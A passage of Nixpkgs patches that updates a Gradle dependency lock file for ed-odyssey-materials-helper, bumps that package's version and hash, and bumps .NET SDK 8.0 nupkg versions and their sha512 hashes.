    "pom": "sha256-15z9N8hfdta3VMdQHuHchEe3smQsI4LXeCUhZr0zHpw="
   },
-  "com/google/errorprone#error_prone_annotations/2.37.0": {
-   "jar": "sha256-0ppiY7SNRtTHwotkcXptEFs+Kj5kJWCS+EXo53T8pro=",
-   "pom": "sha256-nBm0OV6yKL6yEJXdMdVa2V+bcnKYNpuShL0jMOi2LaI="
+  "com/google/errorprone#error_prone_annotations/2.38.0": {
+   "jar": "sha256-ZmHVM1CQpfxh3YadIJW8bB4hVuOqR6bkq6vfZMmaeIk=",
+   "pom": "sha256-MAe++K/zro6hLYHD/qy08Vl5ss9cPjj8kYmpjeoUEWc="
   },
   "com/google/errorprone#error_prone_parent/2.27.0": {
    "pom": "sha256-+oGCnQSVWd9pJ/nJpv1rvQn4tQ5tRzaucsgwC2w9dlQ="
@@ -405,11 +399,8 @@
   "com/google/errorprone#error_prone_parent/2.36.0": {
    "pom": "sha256-Okz8imvtYetI6Wl5b8MeoNJwtj5nBZmUamGIOttwlNw="
   },
-  "com/google/errorprone#error_prone_parent/2.37.0": {
-   "pom": "sha256-SmWUVg9cwGyJ2vzEn4spHxJ83bon1CYFliKhmrjWzkc="
-  },
-  "com/google/errorprone#error_prone_type_annotations/2.37.0": {
-   "pom": "sha256-69Fv9A5HxZg71f1iL0ym71cWPowYU+OilsOtKUYnUdY="
+  "com/google/errorprone#error_prone_parent/2.38.0": {
+   "pom": "sha256-5iRYpqPmMIG8fFezwPrJ8E92zjL2BlMttp/is9R7k0w="
   },
   "com/google/guava#failureaccess/1.0.3": {
    "jar": "sha256-y/w5BrGbj1XdfP1t/gqkUy6DQlDX8IC9jSEaPiRrWcs=",
@@ -452,20 +443,17 @@
    "jar": "sha256-92uFrbDAByGuJnt8/eTaf3HTEhzCFgyfwAwMifjFPIo=",
    "pom": "sha256-EY1n40Uymhjf9OvRVX+V8MCrS0y51nh0nWZvkjAAF2g="
   },
-  "commons-codec#commons-codec/1.17.1": {
-   "pom": "sha256-f6DbTYFQ2vkylYuK6onuJKu00Y4jFqXeU1J4/BMVEqA="
-  },
-  "commons-codec#commons-codec/1.18.0": {
-   "jar": "sha256-ugBfMEzvkqPe3iSjitWsm4r8zw2PdYOdbBM4Y0z39uQ=",
-   "pom": "sha256-dLkW2ksDhMYZ5t1MGN7+iqQ4f3lSBSU8+0u7L0WM3c4="
+  "commons-codec#commons-codec/1.19.0": {
+   "jar": "sha256-XDiB5PVWhV6cUykn7gyd/elMxmdg1YBcAxpZiHBwr18=",
+   "pom": "sha256-4PMmn6I94MgxMMVln1+VFMxUIsC830Xy6uAEp4ufyjQ="
   },
   "commons-io#commons-io/2.17.0": {
    "jar": "sha256-SqTKSPPf0wt4Igt4gdjLk+rECT7JQ2G2vvqUh5mKVQs=",
    "pom": "sha256-SEqTn/9TELjLXGuQKcLc8VXT+TuLjWKF8/VrsroJ/Ek="
   },
-  "commons-io#commons-io/2.19.0": {
-   "jar": "sha256-gkJokZtLYvn0DwjFQ4HeWZOwePWGZ+My0XNIrgGdcrk=",
-   "pom": "sha256-VCt6UC7WGVDRuDEStRsWF9NAfjpN9atWqY12Dg+MWVA="
+  "commons-io#commons-io/2.20.0": {
+   "jar": "sha256-35C7oP48tYa38WTnj+j49No/LdXCf6ZF+IgQDMwl3XI=",
+   "pom": "sha256-vb34EHLBkO6aixgaXFj1vZF6dQ+xOiVt679T9dvTOio="
   },
   "commons-io#commons-io/2.4": {
    "pom": "sha256-srXdRs+Zj6Ym62+KHBFPYWfI05JpQWTmJTPliY6bMfI="
@@ -517,9 +505,9 @@
   "io/freefair/lombok#io.freefair.lombok.gradle.plugin/8.14": {
    "pom": "sha256-m4nw9rMWc+4eiHy6RoAkO/fHKv7Gs4tg0Osy6vfp7uM="
   },
-  "io/github/classgraph#classgraph/4.8.180": {
-   "jar": "sha256-3kpBhb+qvIlj+q4g5/oknexmKv0sYcVN/S3qVZMvTDo=",
-   "pom": "sha256-e3i7PAzU0j7JR++qO27y25em+3mrhk/kvp56ACAltc4="
+  "io/github/classgraph#classgraph/4.8.181": {
+   "jar": "sha256-YqZDbWlxDvX6tuwkN4HOTFspkEftGEG1+SdGroUs5UU=",
+   "pom": "sha256-kj4br0msZAeQ30WHuMz0AfYG8L/HBZZh9xhVG2Jw8Ug="
   },
   "io/github/pustike#commons-csv/1.7.0": {
    "jar": "sha256-PB0BZmOIW/KPqgi3rE//Ewin5PFd6BZvd2D5jC5m3LI=",
@@ -539,15 +527,15 @@
   "io/projectreactor#reactor-bom/Bismuth-SR7": {
    "pom": "sha256-8V34qRAvk+7YOr1Aw5XxauNsUKmmB+llR0KUKr49NDk="
   },
-  "io/reactivex/rxjava3#rxjava/3.1.10": {
-   "jar": "sha256-6fJW+egFVy3V/UWxQNs2DX3ERNDDgwSbLT1+vwXYSqs=",
-   "module": "sha256-rwV/vBEyR6Pp/cYOWU+dh2xPW8oZy4sb2myBGP9ixpU=",
-   "pom": "sha256-EeldzI+ywwumAH/f9GxW+HF2/lwwLFGEQThZEk1Tq60="
+  "io/reactivex/rxjava3#rxjava/3.1.11": {
+   "jar": "sha256-bipWqYGdD8L+DXjv7NPXyBpjxjneM8qlY5KTvP/umXo=",
+   "module": "sha256-tDIZwIxsAgw+sN8lRtrqd5IZP4lgRtVcozqZhfvajuc=",
+   "pom": "sha256-fpMFhj0zE0zUpy0It/Evre4hda2ef3Jzi0nIptw8BVA="
   },
-  "io/sentry#sentry/8.16.0": {
-   "jar": "sha256-YLI3YYt4jMTKh2FpyKQTdyzoVOxMPYLNcsh0b5fGGx0=",
-   "module": "sha256-Rafpija3jds0GfD+g/L1+6dlDQAvtuc5Qn2osb23FjU=",
-   "pom": "sha256-f05iPFiUUQG8rJ8JuphRgklh8Vm/wGgzieMuDekJeMY="
+  "io/sentry#sentry/8.18.0": {
+   "jar": "sha256-DDdafXlmZOMFnSurvvGTAmDT5Gp1WcM336VzXvmv8Jg=",
+   "module": "sha256-zaBT2zOx0RXEWanp3uilodhp9LoEDUrbzjnlq+hE8kA=",
+   "pom": "sha256-9wezZekQ7eUHSwYQmOv8/dh+IClFv6lBvaYJt/eAiqA="
   },
   "jakarta/json/bind#jakarta.json.bind-api/2.0.0": {
    "jar": "sha256-peYGtYiLQStIkHrWiLNN/k4wroGJxvJ8wEkbjzwDYoc=",
@@ -650,12 +638,12 @@
   "org/apache#apache/31": {
    "pom": "sha256-VV0MnqppwEKv+SSSe5OB6PgXQTbTVe6tRFIkRS5ikcw="
   },
-  "org/apache#apache/32": {
-   "pom": "sha256-z9hywOwn9Trmj0PbwP7N7YrddzB5pTr705DkB7Qs5y8="
-  },
   "org/apache#apache/33": {
    "pom": "sha256-14vYUkxfg4ChkKZSVoZimpXf5RLfIRETg6bYwJI6RBU="
   },
+  "org/apache#apache/35": {
+   "pom": "sha256-6il9zRFBNui46LYwIw1Sp2wvxp9sXbJdZysYVwAHKLg="
+  },
   "org/apache#apache/7": {
    "pom": "sha256-E5fOHbQzrcnyI9vwdJbRM2gUSHUfSuKeWPaOePtLbCU="
   },
@@ -666,22 +654,22 @@
    "jar": "sha256-Hfi5QwtcjtFD14FeQD4z71NxskAKrb6b2giDdi4IRtE=",
    "pom": "sha256-JxvWc4Oa9G5zr/lX4pGNS/lvWsT2xs9NW+k/0fEnHE0="
   },
-  "org/apache/commons#commons-compress/1.27.1": {
-   "jar": "sha256-KT2A9UtTa3QJXc1+o88KKbv8NAJRkoEzJJX0Qg03DRY=",
-   "pom": "sha256-34zBqDh9TOhCNjtyCf3G0135djg5/T/KtVig+D+dhBw="
+  "org/apache/commons#commons-compress/1.28.0": {
+   "jar": "sha256-4VIpRSGEVvNkmjm8Sv1wzkvUZiIVGdun03jyFBpGQso=",
+   "pom": "sha256-Az9MeNYy2ojQ646tl0/BSiZDks6/EqtsaNbOp63wxko="
   },
   "org/apache/commons#commons-compress/1.8": {
    "jar": "sha256-nPUKdbYsyFMU/43jSUkoOwTi3E3KEuWMYoP3M1i3tuQ=",
    "pom": "sha256-OPhEKHDCaR2YIlGfLP+46JxwQQBQt8RsuhdqiCGeRCk="
   },
-  "org/apache/commons#commons-lang3/3.16.0": {
-   "jar": "sha256-CHCd101gK3Bc5AF9JlRCEAVqS6WD1bIMCTc0Bv56APg=",
-   "pom": "sha256-4oA4OVbC5ywd6zowezt18F7kNkm31D8CFfe2x7Fe6iw="
-  },
   "org/apache/commons#commons-lang3/3.17.0": {
    "jar": "sha256-bucx31yOWil2ocoCO2uzIOqNNTn75kyKHVy3ZRJ8M7Q=",
    "pom": "sha256-NRxuSUDpObHzMN9H9g8Tujg9uB7gCBga9UHzoqbSpWw="
   },
+  "org/apache/commons#commons-lang3/3.18.0": {
+   "jar": "sha256-Tu6ujSDAeKu2SwFewVit04OsWBVxzdxFxo8MmuAjByA=",
+   "pom": "sha256-qiVLNztvbUa8ncqGMxsHKoq4brJeqZIf1Dlhg5LpihY="
+  },
   "org/apache/commons#commons-math3/3.6.1": {
    "jar": "sha256-HlbXsFjSi2Wr0la4RY44hbZ0wdWI+kPNfRy7nH7yswg=",
    "pom": "sha256-+tcjNup9fdBtoQMUTjdA21CPpLF9nFTXhHc37cJKfmA="
@@ -707,23 +695,14 @@
   "org/apache/commons#commons-parent/69": {
    "pom": "sha256-1Q2pw5vcqCPWGNG0oDtz8ZZJf8uGFv0NpyfIYjWSqbs="
   },
-  "org/apache/commons#commons-parent/71": {
-   "pom": "sha256-lbe+cPMWrkyiL2+90I3iGC6HzYdKZQ3nw9M4anR6gqM="
-  },
-  "org/apache/commons#commons-parent/72": {
-   "pom": "sha256-Q0Xev8dnsa6saKvdcvxn0YtSHUs5A3KhG2P/DFhrIyA="
-  },
   "org/apache/commons#commons-parent/73": {
    "pom": "sha256-TtRFYLB/hEhHnf0eg6Qiuk6D5gs25RsocaxQKm1cG+o="
   },
   "org/apache/commons#commons-parent/74": {
    "pom": "sha256-gOthsMh/3YJqBpMTsotnLaPxiFgy2kR7Uebophl+fss="
   },
-  "org/apache/commons#commons-parent/79": {
-   "pom": "sha256-Yo3zAUis08SRz8trc8euS1mJ5VJqsTovQo3qXUrRDXo="
-  },
-  "org/apache/commons#commons-parent/81": {
-   "pom": "sha256-NI1OfBMb5hFMhUpxnOekQwenw5vTZghJd7JP0prQ7bQ="
+  "org/apache/commons#commons-parent/85": {
+   "pom": "sha256-0Yn/LAAn6Wu2XTHm8iftKvlmFps2rx6XPdW6CJJtx7U="
   },
   "org/apache/commons#commons-text/1.12.0": {
    "jar": "sha256-3gIyV/8WYESla9GqkSToQ80F2sWAbMcFqTEfNVbVoV8=",
@@ -739,10 +718,10 @@
   "org/apache/logging#logging-parent/11.3.0": {
    "pom": "sha256-pcmFtW/hxYQzOTtQkabznlufeFGN2PySE0aQWZtk19A="
   },
-  "org/apache/logging/log4j#log4j-api/2.25.0": {
-   "jar": "sha256-A5PjIWckDrVll6IBZEaSh1VynxoYEEbKtdQqgdDj2Qk=",
-   "module": "sha256-3t+O+nkqTAOUMoQ7y8mqtq95bgF/POfwwKhkh9nVVsA=",
-   "pom": "sha256-X4Ft/v5aeqfJ1UOuTmV9RCO00zcQQxW7XYqWNW6TJGo="
+  "org/apache/logging/log4j#log4j-api/2.25.1": {
+   "jar": "sha256-ILnHfAqeVNEGOjnlUdyvmMfY56SZRkj4TQueFMcfchU=",
+   "module": "sha256-6tMmKCISCzyfiiDNDZnVY1lg1SeyBD1n//Zr6HeDHJo=",
+   "pom": "sha256-up6JUpGBShh506YMLUEReZMk64R5seASpHs1GjeIMcM="
   },
   "org/apache/logging/log4j#log4j-bom/2.10.0": {
    "pom": "sha256-8CEjRUmwLxK23xRaaw5ixrl4FCfjDjckmgX2XF3R7WY="
@@ -753,11 +732,11 @@
   "org/apache/logging/log4j#log4j-bom/2.24.3": {
    "pom": "sha256-sXq38yj0WGt+cfjJT8NaXaK86AcFpdYwBAIsGSiDNVg="
   },
-  "org/apache/logging/log4j#log4j-bom/2.25.0": {
-   "pom": "sha256-E0VaYYNMvuWf1MWIg0uH3vIQ24ebvX4jFP700Sv+vNk="
+  "org/apache/logging/log4j#log4j-bom/2.25.1": {
+   "pom": "sha256-uKwjMoSXEbL3R0QVk3vbuWfSuTAO9M/+PzW+Oxqhik4="
   },
-  "org/apache/logging/log4j#log4j/2.25.0": {
-   "pom": "sha256-EBzT96bDtLUv68axJOSA5Ev22hYMKcUDQvOHvphqcy0="
+  "org/apache/logging/log4j#log4j/2.25.1": {
+   "pom": "sha256-CuZl9wnhMQboIwM2+GzYMrgbytXAWQlyXD/3dD3U/10="
   },
   "org/apache/pdfbox#fontbox/2.0.26": {
    "jar": "sha256-lGdMfRDqRdmw3BA4eJJjf8jvtcadLnJpTxxm/rm7btc=",
@@ -882,10 +861,6 @@
    "module": "sha256-9+2+Z/IgQnCMQQq8VHQI5cR29An1ViNqEXkiEnSi7S0=",
    "pom": "sha256-5nRZ1IgkJKxjdPQNscj0ouiJRrNAugcsgL6TKivkZE0="
   },
-  "org/junit#junit-bom/5.11.0-M2": {
-   "module": "sha256-hkd6vPSQ1soFmqmXPLEI0ipQb0nRpVabsyzGy/Q8LM4=",
-   "pom": "sha256-Sj/8Sk7c/sLLXWGZInBqlAcWF5hXGTn4VN/ac+ThfMg="
-  },
   "org/junit#junit-bom/5.11.4": {
    "module": "sha256-qaTye+lOmbnVcBYtJGqA9obSd9XTGutUgQR89R2vRuQ=",
    "pom": "sha256-GdS3R7IEgFMltjNFUylvmGViJ3pKwcteWTpeTE9eQRU="
@@ -898,55 +873,59 @@
    "module": "sha256-7WfhUiFASsQrXlmBAu33Yt1qlS3JUAHpwMTudKBOgoM=",
    "pom": "sha256-Q7EQT7P9TvS3KpdR1B4Jwp8AHIvgD/OXIjjcFppzS0k="
   },
-  "org/junit/jupiter#junit-jupiter-api/5.13.2": {
-   "jar": "sha256-uL4vr4zVWzcGP3xXyiv0wLVDdwb4OLLk/502+A2i7pM=",
-   "module": "sha256-eEMoG7nkQlyAKXptHmDAoC9bFnIouHVxFZoa3C5IuzY=",
-   "pom": "sha256-XavE6LyJqTKuoHQFbDK1+D7hLbx1+nXyFxZ9pSf3T2Y="
+  "org/junit#junit-bom/5.13.4": {
+   "module": "sha256-6Vkoj94bGwUNm8CC/HhniRKNpdKFMJFGj8pQQQS99AA=",
+   "pom": "sha256-16CKmbJQLwu2jNTh+YTwv2kySqogi9D3M2bAP8NUikI="
   },
-  "org/junit/jupiter#junit-jupiter-engine/5.13.2": {
-   "jar": "sha256-T5I0A/vFMidzIzVzzp6FVmhwoMhaigaoQT4QHdBEsWs=",
-   "module": "sha256-3QtzMtAxffuYwso80EkzYLYK0fwBIbpO/dnpZbt4JoE=",
-   "pom": "sha256-CbFm7NKQvf7WTjRvdwkz6JPrk3cF7PLwslTR8WtsT5M="
+  "org/junit/jupiter#junit-jupiter-api/5.13.4": {
+   "jar": "sha256-0buBq/2eA0GDBrTmozkMjbUsWDcudJwpgKwp8MCCePE=",
+   "module": "sha256-/kZNN/XIEKgF/zGRmBZcrDPCVY4iYQIdjzEqglpIZx8=",
+   "pom": "sha256-xWBTV9MRgTZCxABEHgR7ynF8rcFXs/5+GJhbxv8jLls="
   },
-  "org/junit/jupiter#junit-jupiter-params/5.13.2": {
-   "jar": "sha256-eLpDsZIRxzuB4OYfX3sXQMwxHzvxHngcY2THZfB0+8c=",
-   "module": "sha256-YuMdG0D4NJmK6b7M9WgnN8+wO7PpvLz6l5d/+p09l80=",
-   "pom": "sha256-warBY9RGgeVEo8R5YSdAOgL7PEQRxM//lLTT2nFwdUk="
+  "org/junit/jupiter#junit-jupiter-engine/5.13.4": {
+   "jar": "sha256-AnQEqS/mGLckZXkqJXlRSVxQOn1XUeJ5Hg9RyH9n9bw=",
+   "module": "sha256-zu7m0ANKc4E1vZ84IM/gicZWkWPGI7qOPptE9yCP0ho=",
+   "pom": "sha256-E4Nt6C2Xf/JSCPXgypvfEzFV3C7+0Wr2Dfrojp3KzUc="
   },
-  "org/junit/jupiter#junit-jupiter/5.13.2": {
-   "jar": "sha256-18FEis8SUft2yRVRdg49hLDkLslajl9W9QFj6SwoQoI=",
-   "module": "sha256-Jc9R84EM1LA8JH5WHI+E6LlxsYjZIUK567BICy2YWhc=",
-   "pom": "sha256-BbwCHJKbRsgLa2NEVJLb+w17q+ZhqV8O7Nw+AhQvBNs="
+  "org/junit/jupiter#junit-jupiter-params/5.13.4": {
+   "jar": "sha256-OoxjZXFtu2mMDUmgVFbB4a0FxAZhPFUPndUAN4cu/EE=",
+   "module": "sha256-/DZvvmB5ma/IzwK53KldHgKgawzocqRWBanZaMJG9LQ=",
+   "pom": "sha256-wPNik+IEJzLWJu4HWMrlLDeMKklXnUW9CBUojyDdTGw="
   },
-  "org/junit/platform#junit-platform-commons/1.13.2": {
-   "jar": "sha256-gfuqBqOSRIoB5Z3hQnzvJ7uISF7C0u1k3Iox9UQIUcA=",
-   "module": "sha256-DDzH0YgRWPZqrzmA/FcjMFpC4uQ7sPpITjiXtmruQC0=",
-   "pom": "sha256-V65e+fpv6vcrpcWkgDSiplbhaIUryooePJAgDhgyN7c="
+  "org/junit/jupiter#junit-jupiter/5.13.4": {
+   "jar": "sha256-uWD3khfdAchjAxtnjwffRzC78erGUMdK1rDGH6rXg3k=",
+   "module": "sha256-RpRiJ8KWfRZZ6VX1PTTshzGBHUr0AcKsfWRveTx44fk=",
+   "pom": "sha256-q3sscJnzXPorMVmhpaQLlO414hKyWo172XwSJ7+u5Y4="
   },
-  "org/junit/platform#junit-platform-engine/1.13.2": {
-   "jar": "sha256-o01cLzDAMM2lONU5UvvYhtFbUV6+sjs9FVwYXPuvr4k=",
-   "module": "sha256-+RbR4m8CCbmsi+lVfR2AWLV4MJg6JMeBr0iKe0ZRNYo=",
-   "pom": "sha256-P8S6J1WYtixQq7RM55VbuwSlsN33hNL1SZivpEldoDw="
+  "org/junit/platform#junit-platform-commons/1.13.4": {
+   "jar": "sha256-HCXKZB66rkT/OtIcobLvaNDdhL/rB8SAW6eECJm3dAg=",
+   "module": "sha256-Gnot58eYmV+5eyRNbvnpnDpXmbV6D7rNaElrp+6BWdc=",
+   "pom": "sha256-RKWQ1nrsTSdskMUVj+EEePITPwoj7DLPqzqlXUK4aIM="
   },
-  "org/junit/platform#junit-platform-launcher/1.13.2": {
-   "jar": "sha256-7WRD9zHokp64vKVhm1NfM//RmzQ1OW+spwDX3ah+97w=",
-   "module": "sha256-Z4jMmBULG1nz8L0b0nxKkAo+6bgZaw8YFJ9Q7t3/qhI=",
-   "pom": "sha256-BRrcG1yuUbmFPikw0tB6nMbEiPD9PR6VsZAhleBuORY="
+  "org/junit/platform#junit-platform-engine/1.13.4": {
+   "jar": "sha256-OQxfd7hCg6ZLZE+IJRs5fgsN67gL3MUPiZiBrs/0Olo=",
+   "module": "sha256-NeT9aOvzFOYmYBSJNkNrOa4QXTVb6qwapU65HCBmync=",
+   "pom": "sha256-lYOVQk9rRhK9edgWXte9+vWmWU9GmbjviTmVyljDwKU="
   },
-  "org/junit/platform#junit-platform-runner/1.13.2": {
-   "jar": "sha256-KeL0gJKJgS2GZJE4cRwXacciFptak7GIifJP0GyqWBE=",
-   "module": "sha256-Ogz8QrWXt0qX39zVl0Pqw8YSEYd8enOcWyNHdnJkRc4=",
-   "pom": "sha256-UmqnNCfp8nMmLNl/8b9gj0aQBAgdbizBbs70fNKtshk="
+  "org/junit/platform#junit-platform-launcher/1.13.4": {
+   "jar": "sha256-Cwvq62iAoxFJZB0thIuGNxKIVGlnDBIJlYbX95hSJWQ=",
+   "module": "sha256-EV93RVdA4MPFOYvN2EHIqmmcLYACsRAPKuemQ9lAWSg=",
+   "pom": "sha256-OuOHauC4fbi96hJ5ryuXjaKfE4selfYFoD2aUtE529I="
   },
-  "org/junit/platform#junit-platform-suite-api/1.13.2": {
-   "jar": "sha256-nEKnxRqjzJU9zBJxwjzZx4/x86QmpMeNH7tORp4bt4o=",
-   "module": "sha256-89SdCAR2qsZibEXHvMGrvO9us+31vgj7DwpEbq4D050=",
-   "pom": "sha256-s099HvIm0fYfZjsLgyu/VpDpsfhA1F+ZUnhVD6HsBGc="
+  "org/junit/platform#junit-platform-runner/1.13.4": {
+   "jar": "sha256-ISaDWloIABNZhDxmhl2lgqo1pWsM+O3yzI0epCnL6ao=",
+   "module": "sha256-pozyPYUVEngVDtPLL+9m4mk1Oza26ZlfVnqwp7nIjyg=",
+   "pom": "sha256-C7mXJe+9m3MoLKcKCzpk2zbp4bHC/tOjPpLlIHXX3Lo="
   },
-  "org/junit/platform#junit-platform-suite-commons/1.13.2": {
-   "jar": "sha256-/+kBOOH0fsvVedNs+Y61R9ULNdfS7N+kLr7T809x5lg=",
-   "module": "sha256-k4lLqV+lC/B4y+AA+kuCvlEjCU5s6tKshzLuKxkdwx0=",
-   "pom": "sha256-QS8vooQrfzXlA+jiZZVxR5t52HAcZwW728N2sqFAE0k="
+  "org/junit/platform#junit-platform-suite-api/1.13.4": {
+   "jar": "sha256-mgW/d+EoNx9bPiX/yJ969Gep9o3TZf387UaevPUzq8k=",
+   "module": "sha256-OfuRkgMHvFx6FjAHOpV2CiYURYJgiA0pO5F2wc0ImIQ=",
+   "pom": "sha256-hxhnBdIt+Wrdoe/aMqShB1f49lgAbxd350zvJ6XkLKg="
+  },
+  "org/junit/platform#junit-platform-suite-commons/1.13.4": {
+   "jar": "sha256-59rPz6O8aSwKekE879X1GuQgQVoU05CRvfiK6/26cLY=",
+   "module": "sha256-WQtO531F+0Lf0GGccCGndnkgbQSJ9Cbn8Auazlmqvh0=",
+   "pom": "sha256-VOR+M8iA1vupejBP02oXJVdQLDRR2nQM2beBTp6Nh5k="
   },
   "org/leadpony/justify#justify-parent/3.1.0": {
    "pom": "sha256-ckfhOlVhg4gPqnP7EeWQJ7R+fG1Ghx0sUIg3WwDbJY0="
@@ -1144,5 +1123,17 @@
    "jar": "sha256-FGeTFEiggXaWrigFt7iyC/sIJlK/nE767VKJMNxJOJs=",
    "pom": "sha256-6YLq3HiMac8uTeUKn2MrGCwx26UGEoMNNI/EtLqN19Y="
   }
+ },
+ "https://repo.repsy.io/mvn/jixxed/maven/nl/jixxed": {
+  "lept4j#lept4j/1.16.6": {
+   "jar": "sha256-39j+jS92/MW/A8WLaUZYKTkNPB+0IgNWkjcau9MMlx0=",
+   "module": "sha256-fPk3r5TQdJrz0O5SgutXUWnI44UqKJxPBiiQC+wcSgA=",
+   "pom": "sha256-k31BbQcMlLWOjhhkUgrWnOUyb/zKBhRzq8hC6p6d/eY="
+  },
+  "tess4j#tess4j/5.2.9": {
+   "jar": "sha256-+3uZj+yC3t90jQ6oWIde0oIvWyxqXduuqrwwGO+EqvA=",
+   "module": "sha256-0t0sL5hBJtAuoZuSPFUZdupaPmn86ECeCZYYRDD+aCg=",
+   "pom": "sha256-l0rKnFKWtfPI/6pBDXpfbJpNEAri7igU24iaZyvY168="
+  }
  }
 }
diff --git a/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix b/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
index 3af3d8a97c6c..fcbf251f434e 100644
--- a/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
+++ b/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
@@ -19,13 +19,13 @@
 }:
 stdenv.mkDerivation rec {
   pname = "ed-odyssey-materials-helper";
-  version = "2.199";
+  version = "2.223";
 
   src = fetchFromGitHub {
     owner = "jixxed";
     repo = "ed-odyssey-materials-helper";
     tag = version;
-    hash = "sha256-1d5OzhAFo0s5xshJCdfWufo5Xb0UtHzUPdR6fwuaGYQ=";
+    hash = "sha256-NPiy1KQxi6iRR3tEjdPnx8w++sCLIsZ2FQXSUQL0WrA=";
   };
 
   nativeBuildInputs = [

From e242348b5ab6931e6307a40af857a9fac44d2667 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Wed, 6 Aug 2025 12:05:04 +0000
Subject: [PATCH 3389/4511] dotnetCorePackages.sdk_8_0-bin: 8.0.412 -> 8.0.413

(cherry picked from commit 15e0c31db6973e7678650d97a0980232ff605ba4)
---
 .../compilers/dotnet/versions/8.0.nix         | 620 +++++++++---------
 1 file changed, 310 insertions(+), 310 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/versions/8.0.nix b/pkgs/development/compilers/dotnet/versions/8.0.nix
index f1e9699082da..8210e9f248ca 100644
--- a/pkgs/development/compilers/dotnet/versions/8.0.nix
+++ b/pkgs/development/compilers/dotnet/versions/8.0.nix
@@ -11,43 +11,43 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "8.0.18";
-      hash = "sha512-cl1DhWFUTOA8O139k5ytpW4ttBJRSllzfpQ/sOXHg+r0ZYm2HZu4M4iMA70yHnqp0GtuGxqUBJ2duJkk4ydRWw==";
+      version = "8.0.19";
+      hash = "sha512-P0MXwA3k7np2YGyPmYZSWIICTCwzGGka350Xqa+EucRAn9aoyurrm+ZjCJKzA+N9gRc9BaFLaE8p4vLDzQJSww==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "8.0.18";
-      hash = "sha512-rMa3+s+Qy5BhAw+Zj8tDaNtcbMJcn/L6SGQ/4/qMca+JxTdWUruzCscAgA35wNLOKJ806A0rw26rhV7FdZFK0A==";
+      version = "8.0.19";
+      hash = "sha512-VhKbsaln9sfOfDvxFh3eVnIQEZhfPnXG9bV9N+unU1GqcZ/CaTSfe1ASAJ230LtMlrtxNk3EqUgSQGX0TQITLQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "8.0.18";
-      hash = "sha512-pkMF8rdmxdni+bMP8A5kek1ig+rBriWqCszuNdH4MddjIzjQe1jNqjB0XdRtHZdKgL5OpWBK1nBPBYiT1oeYAw==";
+      version = "8.0.19";
+      hash = "sha512-qtdfpsuFFEQx+26ZUv/95fSUYSpZ6r2Ch0vFKgIwnnwtEOEw7B6h8D8t9P1XkYn6tJvHTdSC0ohcOk+HwELU0Q==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHost";
-      version = "8.0.18";
-      hash = "sha512-0HyBUjT2SHH9SrJxfVzsjb4wJ/3HJ2NZDfxqMfoDCRlPUCT6iApy0O+PnhAtFqyfvB+wpNsQmFhHi7MHz+hFfw==";
+      version = "8.0.19";
+      hash = "sha512-PMYSj+WRBCmeERhq7w+qzqCDAKNR5t2EAMv5w+TFzehtfqQQR8rKZDpYAmzYFaWl6Rn1wOZmjHqsaGbvoL+eMg==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHostPolicy";
-      version = "8.0.18";
-      hash = "sha512-WeYxJHGMgva5F9l2oo3N3+tKZIBZNoOCjyyXju8uyWnwxtbF8HbxbRZGxR80DVJ5PIUW8E6qKVo9t/rm+0gCIA==";
+      version = "8.0.19";
+      hash = "sha512-42gDcb3t2l6sjYOGsDtZiR/PuY99Ctj0UnUgY+BeavYXqM2huKLa+r0Yg8YRJLkLeWF/MT3KXRReUE5Dnu0daw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHostResolver";
-      version = "8.0.18";
-      hash = "sha512-iUKTKzPeh/7Vv7it/Jr7U5lCpfE2aq1hvtfdh9C0fBPboV+0fMG05t9dEl+ewN8W1rJ6+Xq92QEhbANQAA0Org==";
+      version = "8.0.19";
+      hash = "sha512-lvC9ihhOhbjbAwG90fnb6BIHnB/kz3HDz+9JSTaoBIyd+XBnckIWdtDxPtroWrvoWqydk0TPYxPXNGDY+I4E3A==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "8.0.18";
-      hash = "sha512-+6dNm86ZF+53JC3kMQhT1msw2CzoBijWMnDxD0VDsIp5lvvtNTWy/Sl5bTuvIFcSbq00iVefNHa05ELXs9mL+g==";
+      version = "8.0.19";
+      hash = "sha512-oADBsA42EoW8MmpuTl5e5TrNZSNtlpOPsSWtY/dmVdK7EJf1QAQdvHAxZQ6IGDNsKrI4h0VEo+75Grmmc41RTQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "8.0.18";
-      hash = "sha512-E/HnHEgLQboNM63koeog+GQwoUjj9oLo/gJXKfdfLq8D9LfgG8tvkbnVdQD4zg9ri2pIGTTjNzwoy07whjGl5Q==";
+      version = "8.0.19";
+      hash = "sha512-GoPqp8InCwdG8uqW1M5KOqlBHyYLFRuHRQxhBKNJCVwv+EIkCbVkxE+SzLYQaqMZZGOl86WFBLDMdTq0d9+Tag==";
     })
   ];
 
@@ -55,118 +55,118 @@ let
     linux-arm = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm";
-        version = "8.0.18";
-        hash = "sha512-diW7p7SmT+AaZ3w0mesbmnSLHLvcz7qV/PtstYS5lGoOFge9tqPrQKvN1lkjRTNyFxii3hpEVZYBA7341tCj4g==";
+        version = "8.0.19";
+        hash = "sha512-CBq+wJbsMgLVJJLS7vDyefSpH4f5VT0+m80rmB/XtwiFNe8oQJHs3bRpSef+JnKCJoU62ijGs8IQMFsXYbraYQ==";
       })
     ];
     linux-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64";
-        version = "8.0.18";
-        hash = "sha512-7RgDbnLuJdyhM8LdlmcSMnTuaSrzNCGe1P+SBMxfM8hioiwupoP1axEH1KkxCl0tWjG4EZCMpZUHrh+Gb6JowA==";
+        version = "8.0.19";
